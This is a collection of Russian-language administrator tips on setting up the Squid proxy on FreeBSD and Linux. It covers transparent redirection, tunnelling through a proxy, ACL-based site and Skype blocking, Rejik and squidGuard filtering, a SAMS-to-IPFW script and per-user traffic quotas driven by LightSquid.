    Для принудительного проксирования, на прокси-сервере следует ввести
     правила Firewall:
    01000 fwd 127.0.0.1,3128 tcp from 10.128.0.0/16 to any 80,8080,8101
    В squid.conf нужно добавить:
    httpd_accel_host virtual
    httpd_accel_port 80
    httpd_accel_with_proxy on
    httpd_accel_uses_host_header on
    На маршрутизаторе "развернуть" Веб-трафик на ПРОКСИ-сервер:
    ipfw add 10 fwd ip_прокси tcp from 10.128.0.0/16 to any 80,8080 out
    xmit lnc1
    
     
    ----* Как пробросить туннель через http-прокси (например squid) (доп. ссылка 1)   [комментарии]
     
    Сервер:
      stunnel -p /usr/local/etc/stunnel.pem -r 127.0.0.1:80 -d 443
    Клиент:
      stunnel -c -d 2.2.2.2:2323 -r proxy.host.ru:3128 -Z 3.3.3.3:443
    Организуется туннель: user -> 2.2.2.2:2323 -> proxy.host.ru:3128 -> 3.3.3.3:443 -> 127.0.0.1:80
    127.0.0.1:80 - ip и порт на удаленной машине, куда пробрасывается туннель.
    2.2.2.2:2323 - ip и порт локальной машины, "вход в туннель"
    proxy.host.ru:3128 - proxy сервер с поддержкой CONNECT
    3.3.3.3:443 - удаленная машина, ожидающая сторона туннеля.
    
     
    ----* Как запустить squid без кэширования страниц и балансировкой трафика. (доп. ссылка 1)   [комментарии]
     
    # Запрещаем кэширование
       acl all src 0/0
       no_cache deny all
    # Пересобираем с поддержкой null хранилища.
      ./configure --enable-storeio=ufs,null
    # Включаем поддержку null кэша.
       cache_dir null /tmp
    # Балансировка трафика между тремя каналами:
       acl satalite_link src 192.168.1.0/255.255.255.0
       tcp_outgoing_address 192.168.1.1 satalite_link
       tcp_outgoing_address 192.168.1.2
    
     
    ----* Как принудительно завернуть весь http трафик через Squid на FreeBSD   [комментарии]
     
    В /etc/ipnat.rules заносим:
          rdr rl0 0/0 port 80 -> 127.0.0.1 port 3128 tcp
    В squid.conf:
          httpd_accel_host virtual
          httpd_accel_port 80
          httpd_accel_with_proxy  on
          httpd_accel_uses_host_header on
    
     
    ----* Все работает отлично, за исключением того, что Squid не работает с некоторыми единичными хостами. (доп. ссылка 1)   [обсудить]
     
    echo 0 > /proc/sys/net/ipv4/tcp_ecn
    
     
    ----* Как увеличить производительность squid proxy ? (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Используйте метод доступа к хранилищу DISKD.
    Параметры сборки: ./configure --enable-storeio=diskd,ufs
    (также можно указать --enable-async-io --enable-poll)
    В файле конфигурации:
    cache_dir diskd /cache1 1024 16 256 Q1=72 Q2=64
    
     

       ACL, ограничения трафика и пользователей

    ----* Привязка IPFW к SAMS   Автор: Bani  [комментарии]
     
    Долго я искал решение как привязать правила IPFW и Squid к веб-интерфейсу,
    никак не мог найти готовое и подходящее для себя решение. Поставил SAMS но и он
    только для Squid. Задумался привязать его к IPFW, вот готовое решение, для
    таких как я... очень удобно если находишься вне офиса или территориально отдалён.
    
    Этот способ не является идеальным, но как вариант очень удобен и не требует больших усилий.
    
    Система и компоненты: FreeBSD 8.0/Squid 2.6/SAMS-1.0.5/Rejik/PHP 5.3.14/Apache
    2.2/Sudo Как ставить из портов думаю ясно.
    
    И так, пишем скрипт и кладём его в /usr/local/etc/rc.d чтобы он запускался автоматом:
    
    
       #! /bin/sh
    
       # PROVIDE: ipfwsams
    
       . /etc/rc.subr
    
       name="ipfwsams"
       rcvar=`set_rcvar`
       start_cmd="myscript_start"
       stop_cmd=":"
       load_rc_config $name
       FwCMD="/sbin/ipfw"
       DATE=`date`
    
       myscript_start()
     
       {
       if checkyesno ${rcvar}; then
    
          echo  > /usr/local/rejik/blocked_ipfw
          grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/default_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked_ipfw
          echo  > /usr/local/rejik/blocked2_ipfw
          grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/4fb624a388513_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked2_ipfw
    
          ${FwCMD} table 1 flush
          ${FwCMD} table 2 flush
          ${FwCMD} table 3 flush
          cat /usr/local/rejik/4b8bcc7c015ed.sams | awk '{ if ($1!="") {system("ipfw table 2 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/4fb624a388513.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/default.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/50336b692ec18.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/blocked_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/blocked2_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null
          echo "$DATE: IPFW to SAMS STARTED" >> /var/log/samslog
       fi
       }
    
       run_rc_command "$1"
    
    Данный скрипт будет выделять нужные IP из списков Rejik-а и помещать их в
    таблицы IPFW (далее поясню как он работает).
    Для того чтобы скрипт запускался автоматом при старте системы прописываем строчку в rc.config:
    
       ipfwsams_enable="YES"
    
    Для запуска данного скрипта через веб-интерфейс нужно создать PHP файл, я
    расположил его в корне самса (/usr/local/share/sams/ipfwrestart.php):
    
       <?php
       exec ('/usr/local/share/sams/src/script/restart_ipfw');
    
       print("
          <center><b>IPFW RESTARTED</b>
       ");
       $str= file_get_contents("/var/log/samslog");
       $str = nl2br($str, true);
       $str = nl2br($str, false);
       echo $str;
       print("</center>");
       ?>
    
    Теперь пропишем ссылку на этот файл в Самсе, редактируем файл /usr/local/share/sams/src/squidbuttom_0_reconfig.php
    
    Ищем строчку:
    
       $str="<FONT color=\\"BLUE\\" SIZE=+1>$squidbuttom_0_reconfig_ReconfigSquid_3\\n";
    
    заменяем на:
    
       $str="<FONT color=\\"BLUE\\" SIZE=+1>    $squidbuttom_0_reconfig_ReconfigSquid_3<BR><BR><a href=\\"ipfwrestart.php\\">Restart IPFW</a></FONT><BR>\\n";
    
    для проверки лезем в самс > сквид > реконфигурировать, после того как команда
    отправлена должна вылезти ссылка на рестарт IPFW.
    
    файл скрипт рестарта, это по сути команда sudo на старт скрипта от пользоватеоля с правами рута:
    
       #! /bin/sh
       sudo -u root /usr/local/etc/rc.d/ipfwsams start
    
    Так как PHP файл запустить Shell скрипт от пользователя www не может используем sudo.
    Для того чтобы разрешить пользователю www запускать от рута нужно добавить в
    конфиг sudo строчку (/usr/local/etc/sudoers):
    
       www ALL=(ALL) NOPASSWD: /usr/local/etc/rc.d/ipfwsams start
    
    
    нужные строки для IPFW (80 порт завёрнут на squid):
    
       allowedports="20,21,53,443,123,4321" (по каким портам натить)
       ifout='vr0' (внешний)
       ifuser='ste0' (внутренний)
    
       #TABLE1 - обычные пользователи
       #TABLE2 - ADMINS
       #TABLE3 - IP адреса к которым нужно заблокировать доступ (только для обычных пользователей)
    
       ipfw add divert natd all from "table(2)" to any out via ${ifout}
       ipfw add deny all from "table(1)" to "table(3)"
       ipfw add divert natd icmp from "table(1)" to any out via ${ifout}
       ipfw add divert natd all from "table(1)" to any ${allowedports} out via ${ifout}
    
    И так, рассмотрим ранее упомянутый скрипт-граббер IP-адресов:
    
       #! /bin/sh
    
       # PROVIDE: ipfwsams
       ...
    
       echo  > /usr/local/rejik/blocked_ipfw - создаём файл где будем хранить IP адреса из списков запрета SAMS
    
       grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/default_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked_ipfw - по маске выковыриваем из файла Rejik все IP адреса, которые мы добавили в САМСЕ, в данном случае это первый созданный в самс Запрет доступа по URL.
    
       echo  > /usr/local/rejik/blocked2_ipfw - создаём файл где будем хранить IP адреса из списков запрета SAMS
    
       grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/4fb624a388513_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked2_ipfw - по маске выковыриваем из файла Rejik все IP адреса, которые мы добавили в САМСЕ, в данном случае это какой то список имеющий идентификатор "4fb624a388513" в Запрет доступа по URL, его можно определить в таблицах MySql
    
       ${FwCMD} table 1 flush - Сбрасываем всё содержимое таблицы
       ${FwCMD} table 2 flush - Сбрасываем всё содержимое таблицы
       ${FwCMD} table 3 flush - Сбрасываем всё содержимое таблицы
    
       cat /usr/local/rejik/4b8bcc7c015ed.sams | awk '{ if ($1!="") {system("ipfw table 2 add "$1"")} }' > /dev/null - обавляем в таблицу IP адреса шаблона Админов (ID можно найти в MySql)
    
       cat /usr/local/rejik/4fb624a388513.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса входящие в шаблон обычных пользователей (ID можно найти в MySql)
    
       cat /usr/local/rejik/50336b692ec18.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса входящие в шаблон обычных пользователей, второй шаблон (ID можно найти в MySql)
    
       cat /usr/local/rejik/default.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса группы обычных пользователей, у меня 3 шаблона в САМС, разница только в доступе по 80 порту, поэтому всё остальное как у обычных пользователей (ID можно найти в MySql)
    
       cat /usr/local/rejik/blocked_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса к которым нужно закрыть доступ из ранее созданного файла
    
       cat /usr/local/rejik/blocked2_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса к которым нужно закрыть доступ из ранее созданного файла
    
       echo "$DATE: IPFW to SAMS STARTED" >> /var/log/samslog - пишем в логе что всё удачно добавлено.
    
       ...
    
    Проверяем, создаём новых пользователей, добавляем их к какому-либо шаблону,
    добавляем в списки запретов IP адреса и запускаем скрипт, проверяем таблицы,
    читаем логи. В логах при запуске от sudo появляется запись.
    
    Если ничего не происходит смотрим на пути и имена файлов, скорее всего не тот файл указан.
    
     
    ----* Блокирование Skype соединений на прокси-сервере Squid  (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   Автор: ttys  [комментарии]
     
    Для блокирование Skype в конфигурацию Squid можно внести следующие изменения:
    
       # ACL для выявления обращений с указанием IP-адресов в URL, например http:/1.2.3.4/
       acl numeric_IPs url_regex ^(([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)|(\[(0-9af]+)?:([0-9af:]+)?:([0-9af]+)?\])):443
    
       # ACL для выявления обращений со словом skype в заголовке User Agent
       acl Skype_UA browser ^skype^
    
       # Блокируем skype по двум вышеописанным признакам
       http_access deny numeric_IPS
       http_access deny Skype_UA
    
     
    ----* Настройка Squid в связке с Rejik   Автор: kvasik  [комментарии]
     
    Введение:
    
    В статье хочу поделиться своим вариантом установки и конфигурирования
    прокси сервера SQUID в связке с Rejik для фильтрации баннеров.
    
    В заметке довольно наглядно описан конфигурационный файл SQUID, где можно гибко
    разграничить доступ по отдельным IP-адресам и на локальною подсеть.
    
    Рабочий пример, тест на FreeBSD 8.0-RELEASE i386:
    
    Установка и настройка прокси-сервера SQUID
    
    Ставим из пакетов:
    
       # pkg_add -r -K squid
    
    ключ -r загружает пакет с удаленного сервера.
    ключ -K сохраняет копию пакета в текущей директории.
    Конфигурируем:
    
    vi /usr/local/etc/squid/squid.conf
    
    
       #WELCOME TO SQUID 2.7.STABLE7
       #----------------------------------------------------------------
       #Имя листа доступа all, обозначающий все внутренние адреса:
       acl all src all
    
       #Имя листа доступа manager, отмечает протокол cache_object:
       acl manager proto cache_object
    
       #Имя листа доступа localhost, отмечает IP-клиента (127.0.0.1)
       acl localhost src 127.0.0.1/32
    
       #Имя листа доступа to_localhost, отмечает подсеть ресурсов:
       acl to_localhost dst 127.0.0.0/8 0.0.0.0/32
    
       #----------------------------------------------------------------
       #Отмечаем подсети клиентов, которые могут обращаться к SQUID:
       acl localnet src 172.16.0.0/24
       acl localnet src 172.16.1.0/24
    
       #----------------------------------------------------------------
       #Имена листов доступа, с указанием ресурсов:
       acl  ip-block           dst             "/usr/local/etc/squid/block/ip-block"
       acl  sites-block1       dstdomain       "/usr/local/etc/squid/block/sites-block1"
       acl  sites-block2       dstdomain       .odnoklassniki.ru .vkontakte.ru
    
       #----------------------------------------------------------------
       #Имена листов доступа, отмечающие порты и медот соединения:
       acl  SSL_ports          port                    443
       acl  ports-std          port                    21 80 443 5190 9080 9443
       acl  CONNECT            method  CONNECT
    
       #----------------------------------------------------------------
       #Правило разрешает обращаться к КЭШу локальному ХОСТу.
       http_access allow manager localhost
    
       #Правило запрещает обращаться к КЭШу всему остальному.
       http_access deny manager
    
       #----------------------------------------------------------------
       #Правило запрещает все порты, кроме указ. в листе доступа "ports-std"
       http_access deny !ports-std
    
       #Правило запрещает соединения по методу "CONNECT" кроме порта 443:
       http_access deny CONNECT !SSL_ports
    
       #---------------------------------------------------------------
       #INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
       #---------------------------------------------------------------
       #Здесь указываем листы доступа отдельных клиентов, которым  требуется
       #гибко настроить уровень доступа:
       #---------------------------------------------------------------
       acl                     user1 src 172.16.0.100
       http_access allow       user1
       #---------------------------------------------------------------
       acl                     user2 src 172.16.0.101
       http_access deny        user2 ip-block
       http_access deny        user2 sites-block1
       http_access allow       user2
       #---------------------------------------------------------------
       
       #Здесь указываем запреты для остальных клиентов нашего прокси:
    
       http_access deny        localnet ip-block
       http_access deny        localnet sites-block1
       http_access deny        localnet sites-block2
       http_access allow       localnet
       http_access deny all
    
       #================================================================
       #Блокируем доступ к КЭШу нашего сервера:
       icp_access deny all
    
       #----------------------------------------------------------------
       #Откл. ICP-порт, если др. сервера не обращаются к КЭШу нашего сервера:
       icp_port 0
    
       #Указываем порт нашего прокси:
       #Если фаерволом используется редирект на прокси,
       #необходимо добавить опцию "transparent":
    
       #http_port 3128
       http_port 3128 transparent
    
       #---------------------------------------------------------------
       #Параметр указывает, какая программа использыется для редиректа. Если
       #утилита не установлена в системе, то требуется закомментировать опцию.
       #url_rewrite_program /usr/local/rejik/redirector /usr/local/rejik/redirector.conf
    
       #---------------------------------------------------------------
       #Default:
       #Язык страницы-блокировки, отображается при блокировании ресурсов.
       #error_directory /usr/local/etc/squid/errors/English
       error_directory /usr/local/etc/squid/errors/Russian-koi8-r
    
       #---------------------------------------------------------------
       #TAG: cache_peer
       #Default:
       #none
       #Если  у  вас есть  родительский  кеш, укажите его здесь. Администраторы
       #родительского кеша обычно дают вам необходимые инструкции. Но вы всегда
       #должы спрашивать  разрешения  перед тем, как добавить родительский кеш.
    
       #---------------------------------------------------------------
       #Default:
       #Кол-во памяти (ОЗУ) выделенной под кеширование.
       #Предупреждение: реально SQUID  использует  больше, чем  указанное здесь
       #значение. Золотое правило: если вы имеете N  мегабайт свободной  памяти,
       #которую можете отдать под squid, укажите здесь значение N/3.
       #cache_mem 8 MB
       cache_mem 256 MB
    
       #---------------------------------------------------------------
       #Первое число 100 -это количество дискового пространства, отведенного
       #под кеш (в мегабайтах). Второе и третье число  -каталоги первого
       #и второго уровня соответственно.
       #Default:
       #cache_dir ufs /usr/local/squid/cache 100 16 256
       cache_dir ufs /usr/local/squid/cache 2048 16 256
    
       #--------------------------------------------------------------
       #TAG: cache_mgr
       #Адрес эл. почты администратора прокси-сервера, который отображается
       #только на английской версии страницы, при блокировке ресурсов.
       #Default:
       #cache_mgr webmaster
       cache_mgr you@hostname.local
    
       #--------------------------------------------------------------
       #Default:
       #Имя пользователя, от имени которого работает SQUID в системе:
       #cache_effective_user squid
    
       #--------------------------------------------------------------
       #TAG: visible_hostname
       #В некоторых случаях, для работы демона SQUID, требуется указать  имя
       #хоста, на котором он работает.
       #Default:
       #none
       visible_hostname you.hostname.local
    
       #--------------------------------------------------------------
       #Default:
       #Имя файла, для записи идентификатора процесса:
       #pid_filename /usr/local/squid/logs/squid.pid
    
       #--------------------------------------------------------------
       #Default:
       #Показывает, какие объекты выбрасываются из кэша, и какие объекты
       #сохраняются и на какой срок. Если нет утилиты для анализа этих данных,
       #можно смело отключать.
       #cache_log /usr/local/squid/logs/cache.log
       cache_log none
    
       #--------------------------------------------------------------
       #Default:
       #Показывает, какие объекты выбрасываются из кэша, и какие объекты
       #сохраняются и на какой срок. Если нет утилиты для анализа этих данных,
       #можно смело отключать.
       #cache_store_log /usr/local/squid/logs/store.log
       cache_store_log none
    
       #--------------------------------------------------------------
       #TAG: hierarchy_stoplist
       #Список строк - через пробел, - при встрече в URL которых, запрос  будет
       #направлен сразу напрямую, а не "по соседям"; по-умолчанию -"cgi-bin ?":
       hierarchy_stoplist cgi-bin ?
    
       #--------------------------------------------------------------
       #TAG: access_log
       #Файл журнала деятельности запросу клиента. С каждой линии HTTP или
       #ICP запросу. Если статистика не нужна, указать: access_log none
       access_log /usr/local/squid/logs/access.log squid
    
       #--------------------------------------------------------------
       #TAG: refresh_pattern
       #Используется, чтоб определить не устарел ли объект в КЭШе:
       #usage: refresh_pattern [-i] regex min percent max [options]
       refresh_pattern ^ftp:                1440        20%        10080
       refresh_pattern ^gopher:        1440        0%        1440
       refresh_pattern -i (/cgi-bin/|\?) 0        0%        0
       refresh_pattern .                0        20%        4320
    
       #--------------------------------------------------------------
       #TAG: upgrade_http0.9
       #Лист доступа shoutcast, обозн. имя заголовка по заданному выражению:
       acl shoutcast rep_header X-HTTP09-First-Line ^ICY.[0-9]
    
       #Опция upgrade_http0.9, позволяющая отключить обновл. откликов HTTP/0.9:
       upgrade_http0.9 deny shoutcast
    
       #--------------------------------------------------------------
       #TAG: broken_vary_encoding
       #Лист доступа "apache", обозн. имя заголовка по заданному выражению:
       acl apache rep_header Server ^Apache
    
       #Правило разрешает принимать битые заголовки от ACL apache:
       broken_vary_encoding allow apache
    
       #--------------------------------------------------------------
       #TAG: coredump_dir
       #Директория, где хранится КЭШ SQUID:
       coredump_dir /usr/local/squid/cache
    
    
    Далее создаем директорию, в которой будут хранится файлы для блокирования
    ресурсов, используемые SQUID`ом:
    
       # mkdir /usr/local/etc/squid/block
    
    Создаем сами файлы:
    Список блокируемых ip-адресов:
    
       # cat > /usr/local/etc/squid/block/ip-block
       169.254.0.1
       169.254.0.2
       169.254.0.3
    
       ^C
    
    Список блокируемых доменов:
    
       # cat > /usr/local/etc/squid/block/sites-block1
       afisha.ru
       mail.ru
    
       ^C
    
    Назначаем владельца, на директорию
    
       # chown -R squid /usr/local/etc/squid/block/
    
    
    Далее делаем первый запуск SQUID:
    
       # squid -z
       2010/06/07 15:58:46| Creating Swap Directories
    
    Параметр -z нужен для создания (обнуления) каталога, содержащего кэш.
    Параметр -z нужен только при первом запуске.
    
    После, будет создан файл squid.pid, которому необходимо задать владельца:
    
       # chown -R squid /usr/local/squid/logs/squid.pid
    
    После этого заработает рестарт SQUID:
    
       # /usr/local/etc/rc.d/squid [start/stop/restart]
    
    и реконфигурирование SQUID:
    
       # squid -k reconfigure
    
    Добавим строку в /etc/rc.conf для автозапуска squid:
    
       squid_enable="YES"
    
    Увидеть что SQUID корректно запустился, можно посмотрев:
    
    vi /var/log/messages
    
       Jun  7 16:30:19 hostname squid[1014]: Squid Parent: child process 1018 started
    
    Или внести изменения в настроки браузера :)
    
    Возможные ошибки:
    
    Если после запуска в логах "/usr/local/squid/logs/cache.log" видно:
    Could not determine fully qualified hostname.Please set 'visible_hostname
    В "/usr/local/etc/squid/squid.conf" нужно указать:
    
       visible_hostname you.hostname.local
    
    Если store.log быстро растет без видимых причин, исправляем пересозданием директории с кЭшем SQUID.
    
    
    Установка и настройка Rejik
    
    Ставим из пакетов:
       
       # pkg_add -r rejik
    
    Копируем банлисты в рабочий каталог Режика:
    В случае установки из портов:
    
       # cp -R /usr/ports/www/rejik/work/banlists /usr/local/rejik
    
    В случае установки из пакетов, с официального сайта http://www.rejik.ru/
    
    Качаем файл "banlists-2.x.x.tgz" и "www.tgz", для Веб-страниц
    
    Распаковываем банлисты:
    
       # tar vxzf ./banlists-2.x.x.tgz
    
    Копируем в директорию, где установлен Rejik:
    
       # cp -R ./banlists /usr/local/rejik/
    
    Распаковываем странички:
    
       # tar vxzf ./www.tgz
    
    Копируем в директорию, где лежат файлы Apache-сервера:
    
       # cp -R ./www /usr/local/www/data
    
    Даем права пользователю, от которого работает Apache
    
       # chown -R www:www /usr/local/www/data/www/
    
    Даем права пользователю на директорию Rejik, от которого работает SQUID:
    
        # chown -R squid:squid /usr/local/rejik/
    
    Чтобы избежать ошибок в /usr/local/squid/logs/cache.log
    
        Can't write to file /usr/local/rejik/redirector.err: Permission denied
    
    Конфигурируем:
    
    vi /usr/local/rejik/redirector.conf
    
       error_log /usr/local/rejik/redirector.err
       change_log /usr/local/rejik/redirector.log
       make-cache /usr/local/rejik/make-cache
       #allow_urls /usr/local/rejik/banlists/allow_urls
    
       <BANNER>
       ban_dir /usr/local/rejik/banlists/banners
       url http://127.0.0.1/www/1x1.gif
       #log off
    
       <PORNO>
       ban_dir  /usr/local/rejik/banlists/porno
       url http://127.0.0.1/www/porno.html
    
       <MP3>
       ban_dir /usr/local/rejik/banlists/mp3
       url http://127.0.0.1/www/mp3.html
    
       <JS>
       ban_dir /usr/local/rejik/banlists/js
       url http://127.0.0.1/www/js.js
       #log off
    
    Далее, в /usr/local/etc/squid/squid.conf включаем опцию редиректа,
    сняв комментарий со строки:
    
       #url_rewrite_program /usr/local/rejik/redirector /usr/local/rejik/redirector.conf
       url_rewrite_program /usr/local/rejik/redirector /usr/local/rejik/redirector.conf
    
    Вносим изменения в файлы режика в соответствии по желаниям блокировки:
    
       /usr/local/rejik/banlists/banners/urls
       /usr/local/rejik/banlists/porno/urls
       /usr/local/rejik/banlists/js/urls
    
    Например, чтобы заблокировать баннеры на сайте
    www.test.ru, достаточно добавить эти строчки:
    
       # cat > /usr/local/rejik/banlists/banners/urls
       ad.test.ru
       bannerhost.ru
       doubleclick.net
       pagead2.googlesyndication.com
    
       ^C
    
    После выполнения команды:
    
       # squid -k reconfigure
    
    будут приняты изменения конфигурации, в том числе и нашего редиректа.
    
    
    Используемая литература:
    
       /usr/local/etc/squid/squid.conf.default
    
    Отдельное спасибо:
    Моему коллеге Dok`у, за скрипт убирающий комментарии.
    Сайту lissyra.su, некоторые материалы взяты оттуда.
    Сайту opennet.ru, и отсюда :)
    
     
    ----* Генератор параметров для squidGuard   Автор: globus  [обсудить]
     
    Небольшой скрипт, помогающий сгенерировать кусок файла конфигурации squidGuard
    на основе архива блэклистов с сайта urlblacklist.com:
    
       #!/usr/bin/perl
    
       #var
       my $db_dir="/var/db/squidGuard";
       my @db_dir;
       my $c=0;
       my $i=0;
       my @dd;
    
       #main
       chdir "$db_dir";
       opendir (DIR,".") or die "Не могу открыть директорию $!\n";
       @db_dir= readdir(DIR);
       close (DIR);
    
       foreach my $d (@db_dir) {
            next if ($d eq ".");
            next if ($d eq "..");
            if (-d $d) {
                    kat($d);
                    @dd[$i]="!$d";
                    $i++;
            }
       }
       print "@dd\n";
    
       sub kat {
            my ($d)=@_;
            print "dest $d {\n";
            if (-f "$d/urls") {
                    print "\t urllist $d/urls\n";
            }
            if (-f "$d/domains") {
                    print "\t domainlist $d/domains\n";
            }
            print "}\n";
       }
    
    
    В директорию /var/db/squidGuard разворачиваем архив блеклистов (например, с
    сайта http://urlblacklist.com/?sec=download) при помощи скрипта генерируем
    готовые куски файла конфигурациии.
    
     
    ----* Squid + LightSquid + Perl = ограничение по трафику (доп. ссылка 1)   Автор: Mosson  [комментарии]
     
    Очередное решение на наболевшую тему.
    
    Задача: имея squid с настроенной авторизацией пользователей и сбором статистики 
    сделать ограничение на используемый трафик (квоты).
    
    Лично мне от sams пришлось отказаться т.к. он прикручивается к авторизации пользователей, 
    а для меня это неприемлемо.
    
    Решение подойдет для тех, кому не сильно критично точное лимитирование. 
    Я сильно не хотел менять устоявшуюся систему авторизации пользователей.
    
    итак.
    
    
    1. настраиваем сквид (статей много, описывать не буду)
    В squid.conf , желательно перед остальными ACL, надо будет добавить следующее
    
       # блокировка юзеров которые превысили лимит (файл user-deny),
       # и разрешение этим пользователям только к тем IP и сайтам, которые перечислены в файле no_quota_url.txt
       acl no_quota url_regex -i &#8220;/etc/squid/no_quota_url.txt"
       acl banusers proxy_auth_regex -i &#8220;/etc/squid/user_deny.txt"
       http_access allow no_quota banusers allowedhost
       deny_info ERR_QUOTA all
       http_access deny banusers allowedhost all
    
    по порядку что к чему с файлами:
    
    no_quota_url.txt - ведется руками.
    
    текст:
    
       # файл содержит сайты, который открываются, даже если превышена   квота и юзер попал в users_deny.txt
       очень_нужный_домен.ru
       icq.com
       205.188.
    
    user_deny.txt - в дальнейшем создастся сам, но без него перечитать настройки squid не получиться
    
       # файл содержит пользователей превысивших квоту.
       # автоматически переписывается скриптом traf_limit.pl
       dolzhen_bit_odin_user
       user1
       user2
    
    ERR_QUOTA создадим по образу и подобию всех остальных страниц с ошибками. 
    Я поставил что-бы получать другой текст. вот так получилось :)
    
       <HTML><HEAD><meta http-equiv="Content-Type" content="text/html; charset=koi8-r">
       <TITLE>Превышен лимит</TITLE>
       </HEAD><BODY>
       <H1><font color="FF0000">ПРЕВЫШЕН ЛИМИТ</font></H1>
       <H2>
       </H2>
       <HR>
       <P>Заблокированный URL:
    
       <A HREF="%U">%U</A>
       <P>
    
       <UL>
       <LI>
       <STRONG>Вы превысили месячный лимит на интеренет.</STRONG>
       <P>
       </UL>
       <P>С Уважением отдел АСУ.
    
    
    allowedhost - мое правило проверки пользователей.
    
    2. LightSquid абсолютно штатный. вот официальный сайт http://lightsquid.sourceforge.net/
    ставится и настраивается минут 5-10. собственно вся настройка у меня заключалась в том, 
    что-бы рассортировать юзеров по группам. Для тех у кого еще есть http сервер дополнительно 
    будет красивая статистика. ;)
    
    3. в /etc/squid создадим папку traf_limit
    
    4. в /etc/squid/traf_limit создаем два файла
    traf_limit.pl
    
       #!/usr/bin/perl
       #
       # Довесок на LightSquid Project (c) 2004-2005 Sergey Erokhin aka ESL
       #
       # Скрипт создает файлик user_deny для ограничения сети по трафику
    
       # Автор: Иван Лонин loninia@apksouz.ru  2008 год.
       use File::Basename;
    
       # коряво конечно напрямую писать путь к конфигу, но лениво было sh файлик для крона делать :)
    
       require "/etc/squid/traf_limit/config";
       #($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time);
     
      @dat=localtime(time);
       $year =1900+$dat[5];
       $month=1 + $dat[4];
       if ($month<10){
              $month="0".$month
       }
       $filter="$year$month";
    
       #print "$log_path/$filter*\n";
       @daylist=glob("$log_path/$filter*");
    
       foreach $daypath (sort @daylist) {
           open FF,"<$daypath/.total";
    
           $totaluser=<FF>;chomp $totaluser;$totaluser=~s/^user: //;
           $totalsize=<FF>;chomp $totalsize;$totalsize=~s/^size: //;
    
           while (<FF>) {
    
                   ($user,$size,$hit)=split;
                   $h{$user}{size}+=$size;
                   $h{$user}{hit}+=$hit;
           }
           close FF;
       }
       #
       $cummulative=0;
       open RES,">$res_file";
       print RES "# файл содержит юзеров превысивших квоту.\n# автоматически переписывается скриптом
       traf_limit.pl\ndolzhen_bit_odin_user\n";
       foreach $user (sort {$h{$b}{size}<=>$h{$a}{size}} keys  %h) {
    
           $all4user=$h{$user}{size}/1024/1024;
           if ($vip_user{$user}{size} > 0) {
                   $limit=$vip_user{$user}{size};
           }else{
                   $limit=$all_limit;
           }
    
           if ($all4user >= $limit) {
                   print RES "$user\n";
                   # print "$h{$user}{size}\n";
           };
    
       }
       __END__
    
    и файлик config
    
       #!/usr/bin/perl
       # конфигурационный файл для скрипта traf_limit.pl
       #
       # путь к логам lightsquid
       $log_path="/www/lightsquid/report";
    
       # файл в который пушутся пользователи превысившие лимит
       $res_file="/etc/squid/user_deny.txt";
    
       # лимит инета в мегабайтах
       $all_limit=150;
    
       # привилегированные пользователи с повышенным или пониженным лимитом
       # для каждого пользователя строка формата:
       #$vip_user{<имя_юзера>}{size}=<лимит_в_мегабайтах>;
       $vip_user{user1}{size}=5;
       $vip_user{qwe}{size}=50;
    
    назначим файликам нужного владельца и права на запуск
    
    5. осталось в только в cron добавить запуск. Я сделал раз в сутки в 5-00. делать вечером в 
    20 с чем нибудь категорически не рекомендую т.к. скрипт работает на текущую дату 
    (первого числа будут использоваться прошломесячные данные)
    
    делаем
    
       crontab -e
    
    и добавляем для скрипта строчку вида
    
       45 04 * * * /etc/squid/traf_limit/traf_limit.pl
    
    и для сквида.
    
       0 05 * * * /etc/init.d/squid reload
    
    Этот момент как выяснилось нужно объяснять. Дело в том, что Squid читает файлы конфигурации 
    и все остальные кстати тоже, только при чтении конфигурации. Поэтому после отработки скрипта 
    или изменении файла no_quota_url.txt  обязательно надо перечитать конфиг 
    (рестарт не желателен из-за сброса кэша). Команда как не трудно догадаться
    /etc/init.d/squid reload :) .
    
    собственно все :) . естественно, что правильно оно начнет работать только с 1 числа 
    следующего за установкой месяца, если статистика до этого не собиралась.
    
    Удачи.
    
    Если есть вопросы пишите на loninia"сабака"apksouz.ru
    
    Пока статья на opennet лежала еще кусочек родился
    
    > А по ip адресу возможно тоже самое или только по юзерам работает
    > лимитирование?
    
